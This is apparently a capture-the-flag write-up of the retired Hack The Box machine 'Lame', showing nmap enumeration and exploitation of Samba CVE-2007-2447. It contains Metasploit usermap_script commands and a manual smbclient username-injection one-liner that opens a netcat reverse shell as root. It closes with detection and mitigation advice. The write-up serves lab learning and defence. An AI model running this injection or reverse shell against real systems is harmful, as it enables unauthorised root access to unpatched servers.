Skip to content
Pwnversity
LAME6 min · upd. 2026-11

Lame

linuxsambacve-2007-2447command-injectionrce
Platform Hack The Box (retired) — the first HTB machine
OS Linux (old Ubuntu) — lame
Difficulty Easy
Approx. time ~15 min
Chain Samba 3.0.20 → CVE-2007-2447 (username map script) → direct RCE as root
flowchart TD
  A["nmap: vsftpd 2.3.4, Samba 3.0.20, distccd"] --> B["Samba 3.0.20-Debian"]
  B -->|CVE-2007-2447: metacharacters in the username| C["RCE via SamrChangePassword"]
  C -->|smbd runs as root| D["Direct shell as root"]
  • The first HTB machine. Nmap shows vsftpd 2.3.4 (backdoor CVE-2011-2523, which doesn’t bite here), distccd and, crucially, Samba 3.0.20-Debian.
  • Samba 3.0.x with username map script enabled is vulnerable to CVE-2007-2447: shell metacharacters in the username are executed on the server. Since smbd runs as root, a single exploit yields a root shell. No escalation: you land as root.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see:

    21/tcp open ftp vsftpd 2.3.4
    22/tcp open ssh OpenSSH 4.7p1
    139/tcp open netbios-ssn Samba smbd 3.X - 4.X
    445/tcp open netbios-ssn Samba smbd 3.0.20-Debian
    3632/tcp open distccd distccd v1 (GNU 4.2.4)

    What I think: old versions everywhere. Three candidates: vsftpd 2.3.4 (backdoor), distccd (CVE-2004-2687) and Samba 3.0.20. I go for the known, vulnerable versions. → Network service enumeration · Protocols and their weaknesses

2. Exploitation: Samba username map script

Section titled “2. Exploitation: Samba username map script”
  1. Rule out the vsftpd backdoor

    What I do: vsftpd 2.3.4 has the CVE-2011-2523 backdoor (a :) in the username opens a shell on 6200). I try it, but it doesn’t bite (the backdoor isn’t active in this build).

    What I think: I don’t dwell on it; I move to the next service with a known CVE.

  2. Identify CVE-2007-2447 in Samba

    What I do:

    Ventana de terminal
    searchsploit "Samba 3.0.20"
    # Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution (Metasploit)

    What I think: CVE-2007-2447: when username map script is active in smb.conf, smbd passes the username to a system script without sanitizing it. By putting shell metacharacters in the username (via MS-RPC’s SamrChangePassword), we execute whatever we want. → Protocols and their weaknesses: SMB

  3. Run the exploit

    What I do: with Metasploit (the module is very polished for this case):

    msfconsole
    use exploit/multi/samba/usermap_script
    set RHOSTS <target_ip>
    set LHOST <tun0>
    run

    Or manually, putting the payload in the username field of an SMB connection:

    Ventana de terminal
    smbclient //$IP/tmp -U "/=`nohup nc -e /bin/bash <LHOST> 4444`" -N

    What I see:

    id
    uid=0(root) gid=0(root)

    Why it works: the username with `command` is interpolated into the mapping script that smbd runs as root, so the command runs with root privileges directly. There’s no escalation phase.

    user.txt → /home/makis/user.txt · root.txt → /root/root.txt (redacted).


There are several old versions. Find which one has a direct command-execution CVE.

What I tried Result How I ruled it out
vsftpd 2.3.4 backdoor (CVE-2011-2523) “Exploit completed, but no session” The backdoor wasn’t active; move to Samba
distccd (CVE-2004-2687) Works but gives a user shell Samba gave root directly, simpler
Loot in the tmp share (RW) Nothing useful The vector was the Samba CVE, not the files
  • Many old versions → cross each with searchsploit. Lame has several paths; pick the one that gives the most privilege with the fewest steps.
  • Don’t lock onto the first attempt. The vsftpd backdoor is eye-catching but doesn’t bite here; the second candidate (Samba) was the one.
  • A service running as root that executes unsanitized input = RCE as root. Not every machine needs escalation.
  • CVE-2007-2447 is the canonical command-injection example in a native service. Recognize the “metacharacters in a field that ends in a shell” pattern.
Phase Detection Mitigation
Scanning old services IDS/IPS on known vulnerable banners Keep services updated; retire unsupported software
CVE-2007-2447 exploitation Anomalous smbd child processes; outbound connections Update Samba ≥ 3.0.25; don’t use username map script; run services with least privilege